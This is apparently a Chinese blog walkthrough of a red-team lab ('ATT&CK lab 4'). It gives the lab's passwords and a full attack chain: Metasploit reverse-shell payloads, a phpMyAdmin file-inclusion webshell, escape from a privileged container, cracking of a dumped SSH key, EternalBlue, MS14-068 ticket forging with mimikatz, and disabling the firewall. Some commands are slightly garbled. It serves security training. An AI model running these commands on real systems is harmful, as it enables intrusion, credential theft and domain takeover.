ATT&CK红队评估实战靶场四

2022-12-05 15:29:18 浏览数 (1)

机器密码

  • ubuntu:ubuntu
  • douser:Dotest123
  • administrator:Test2008 -> Harvey@2022

配置 web 192.168.205.130 192.168.150.132 win7 192.168.205.128 DC 192.168.205.131 kali攻击机 192.168.150.128

准备工作

将web靶机和kali攻击机的网络适配器设为NAT;将web、win7、DC靶机的网络适配器设为自定义(VMnet1)

然后web靶机启动环境

代码语言:javascript复制
sudo docker start ec 17 09 bb da 3d ab ad

信息收集

扫描一下存活主机和端口,发现开放了22、2001、2002、2003端口

其中2001端口存在Struts2中间件

2002端口存在Apache Tomcat中间件

2003端口存在Apache、PHPmyadmin、mysql,不需要密码就可以进入phpmyadmin后台

漏洞利用

这三个都可以漏洞利用实现getshell

首先通过Struts2漏洞检查工具进行检测和利用

接着利用漏洞上传msf马

代码语言:javascript复制
# 生成msf马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.150.128 LPORT=4444 -f jsp > shell.jsp

msf启动监听

代码语言:javascript复制
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.150.128
exploit
访问马

然后是Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

接着是phpmyadmin 4.8.1 远程文件包含漏洞

代码语言:javascript复制
/index.php?target=db_sql.php%3f/../../../../../../../../etc/passwd
代码语言:javascript复制
# 插入一句话木马
select '<?php file_put_contents("shell.php", "<?php @eval($_POST[1]);?>");?>';
# 命令go后F12查看phpMyAdmin的value值
/index.php?target=db_sql.php%3f/../../../../../../../../tmp/sess_31894eca7b1c7143dad90cd068b167a1 

docker逃逸

由于不是完整的shell,这里我们使用pyhton中的pty模块反弹一个完整的shell环境

代码语言:javascript复制
python -c 'import pty; pty.spawn("/bin/bash")'

进入后进行信息收集

判断是否为docker环境

代码语言:javascript复制
# 查看.dockerenv 文件,查询系统进程的cgroup信息
# 判断根目录下是否存在 .dockerenv 文件 
ls -alh /.dockerenv
# 查看系统的cgroup系统,看是否有docker字样
cat /proc/1/cgroup

发现为docker环境,于是想到docker逃逸

先尝试一下利用dirty cow来进行docker逃逸,这种利用方法利用成功的前提是宿主机的内核有dirty cow漏洞

代码语言:javascript复制
git clone https://github.com/scumjr/dirtycow-vdso.git
cd dirtycow-vdso
make

在目标主机上无法进行make编译,所以我们只能在攻击机kali上编译之后再起个web服务

反弹shell到指定主机的指定端口,但是利用失败了,说明不存在dirtycow漏洞

代码语言:javascript复制
wget http://192.168.150.128/0xdeadbeef
chmod  x 0xdeadbeef
./0xdeadbeef 192.168.150.128 4444

于是换个方式进行docker逃逸,利用特权模式进行逃逸

管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载,这就导致我们可以获取大量设备文件访问权限

代码语言:javascript复制
# 查看磁盘文件(Struts2获得的shell磁盘文件为空无法利用,可以通过Tomcat的进行利用)
fdisk -l
# 创建一个文件夹,将宿主机根目录挂载至容器目录下
cd /test
mkdir /test
mount /dev/sda1 /test
代码语言:javascript复制
# 将id_rsa复制下来
cd home/ubuntu/.ssh
cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6DC4277EB4DC1AF7B2C02CAD8F8E85E2

OnKLlXLp VZ0pH/2lC1/m6/gFViUBJV8I4YugGWShDjmOZ8vpsC/q vUDtH5pkkj
uFu237oUmhvmtCpSuhHaEVu URPMh/0v7SnVTJzPvXAyRzZrHlK2UKuyHNuP/CDC
R yVqQZ00xC6Rej2atOP9mONmNnhLIhQkoolfRrBDV5DCznHO1i7m/CgQ4Qf/LrM
FhfmQJ6suEXx AAhoK Wk0OqUwgSqM09FPJE1FvdFy/FGgKx4OzGWPn7VBd/EkpL
3v/AENs/RVCDouRs9lUrZj7OD3BejcUgPfzBZ5v57VjMcbyhGsCtyhfLyoRDuxr/
XutUzlqI94AVqTDdQtpRqOiKI6mSWK9i hqwk1MNukZKp 2 48m6fb/AMjG4mjnQ
QcNSQwuBryfQxILMVUsOvyfNT2dafn4Q77QLV9rZY6k73wdaGF2RuBwnkZpEtpau
Y2Q2rUAVHl2x3UW3F3NngIWYQ8kU/Usd5hUiFicWAkdVJi2GnFemPpUGBKQgQdEz
JPoUtXJSkZX5l7hxfoGse 268 qdLIHFBprPoU8JH1D4aTPG7HhJv574yxDcaRuW
TUhqhTWoEq5ZkD9tJwPC6u6t/3XwHvx8OjsvCh8AiM75m0XV8Du91Q3bjmt7TzDB
bGuh 1kHXB6QKFwuQ/9v2Litxg5lNDTve5CZMrQlATyi/RWE1eyujxpnbFOL1TmH
6LHinYX4I1bWA2O3rFzBn9vj0aikVa/3aYT9rsHRu7MeNzkQBbtukkzuM7G7ZcuI
/AYbTKq2o7JHhO3rbiOcd22g6ME80JhVlXUNlJPk20u RescgJKJ7RTLcLiqy08Q
Hepnetq8ijwmRl7DYYDTBry30HpD/JdBbL6OsstGj uSM50okPGN 9fNemDzITfW
Dj9aN8kHZfIxQxvlx0eK28Kxe7oF/NAIvpV3Exm7zBooBzNqHM3HkphZHwjKSWWN
sZsW4d1VuTRLapTQRYPtOAS5ZCH6tVDIvQU9g8ksxQb5a/MSXU0NUMBnm4WOgt T
55txs6Plcys GCLzdD/7EeFiuNlIZ4eyQCBC8jN4azPm ZWOR P3zHLPRyTGhm8Y
JHr0aGgIbJ4Qm JGrz0cIA3No5FciEtPxq1hAkstn93ZBeXkpIGtyI3CrfPdLSo1
l6Ki1V/Uj rLq3IqLi4anxVZ15EK xED2Ql3F7GeWZ1SN69wCPvniSPrpK/0hPbj
bO7sWbxBJO26o2kog451oyr0i32xEXrhfaurdCCjWIruC/eFY/b6ANNI5a34Uks3
fXhZLC2q2wnTh/02wzKoWZkfiams/PqiUPHYncp6DQ8D2dHOup3Kr28nNJR sdUX
m/FXcuyargJYyJ0ChyIb 1RnmcLIedxX/m8Nmy FKb8d36ailr9al2f0HcKNPfv8
a8FhDStxj2lDUzbdp4q0cqq5Ys6MkTyY6eoxEqGqaqj2EeKnqzd4NydW8bTHfzFo
ml853a7WQEIcH8g 3RX1HvmXP PgQBZvqksFMthqCPb/8jGC6zjj0//VJSrfpyaC
SfxA7VOc8I1Wpg2rYC1e336DdxIF1PYUqxYKPtMe vc5S24V6Nuttvkfrtv3MTW8
-----END RSA PRIVATE KEY-----
代码语言:javascript复制
vim id_rsa
# 将其复制进来保存退出
/usr/share/john/ssh2john.py /root/id_rsa > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
# 得到密码ubuntu
ssh ubuntu@192.168.150.132

切换为root

通过msf生成shell马并起个web服务

代码语言:javascript复制
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.150.133 LPORT=4444 -f elf > shell1.elf
python -m http.server 80

上传至ubuntu并运行

代码语言:javascript复制
wget http://192.168.150.133/shell1.elf
chmod 777 shell1.elf
./shell1.elf

msf启动监听

代码语言:javascript复制
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.150.133
run

内网渗透

信息收集一下基本确定205是内网段了

接着上传fscan

代码语言:javascript复制
wget http://192.168.150.133/fscan
chmod  x fscan
./fscan -h 192.168.205.0/24

关键信息如下

代码语言:javascript复制
# 如果没打MS14-068的补丁就可以打一下
192.168.205.131:88 open

[*] WebTitle: http://192.168.205.1      code:200 len:2307   title:站点创建成功-phpstudy for windows
[*] NetBios: 192.168.205.131 [ ]DC WIN-ENS2VR5TR3N.demo.com      Windows Server 2008 HPC Edition 7601 Service Pack 1
[ ] 192.168.205.128     MS17-010        (Windows 7 Enterprise 7601 Service Pack 1)
[ ] 192.168.205.131     MS17-010        (Windows Server 2008 HPC Edition 7601 Service Pack 1)

接着通过frp建立代理

代码语言:javascript复制
wget http://192.168.150.133/frp.tar.gz
tar -zxvf frp.tar.gz
chmod  x frp_0.45.0_linux_amd64
cd frp_0.45.0_linux_amd64

vim frpc.ini
# 修改如下
[common]
server_addr = 192.168.150.133
server_port = 7000

[socks_proxy]
type = tcp
remote_port = 8989
plugin = socks5

# 运行
./frpc -c ./frpc.ini &
代码语言:javascript复制
./frps -c ./frps.ini

curl一下进行测试

接着就可以通过msf使用永恒之蓝进行攻击了

代码语言:javascript复制
setg proxies socks5:127.0.0.1:12345
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.205.128
run

这里可能需要等待一会

用猕猴桃抓一下这台win7的密码,得到密码:Dotest123

然后可以进shell查看一些信息

sid需要我们先登录到域用户,迁移到域权限的一个进程上去

从而得到sid:S-1-5-21-979886063-1111900045-1414766810-1107

接着通过注册表开启3389,我们通过远程桌面来打MS14-068

代码语言:javascript复制
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

但是这里我们直接登录是不行的

于是我们需要先把它换成工作组,但是需要重启比较麻烦,这里就直接通过修改管理员密码并激活

代码语言:javascript复制
net user administrator Admin1234
net user administrator /active:yes

不过远程桌面可能也会有些小问题

接着修改一下dns,然后ping一下demo.com

然后就可以通过工具直接打

代码语言:javascript复制
# 生成票据:MS14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.205.131

再通过猕猴桃进行导入

代码语言:javascript复制
mimikatz.exe
# ptc导入前面生成的文件
kerberos::ptc TGT_douser@demo.com.ccache
# 得到票据
kerberos::list
exit

接着再访问一下域控,并尝试访问它的C盘

代码语言:javascript复制
klist
net view
dir \WIN-ENS2VR5TR3NC$

然后用psexec64来获取目标的shell

代码语言:javascript复制
PsExec64.exe /accepteula /s \WIN-ENS2VR5TR3N cmd

根据前面fscan扫到的可以再来打一下永恒之蓝

但是失败了,猜测开有防火墙,于是用下面这个命令关闭防火墙

代码语言:javascript复制
netsh advfirewall set allprofiles state off

最后就可以成功打进去了

0 人点赞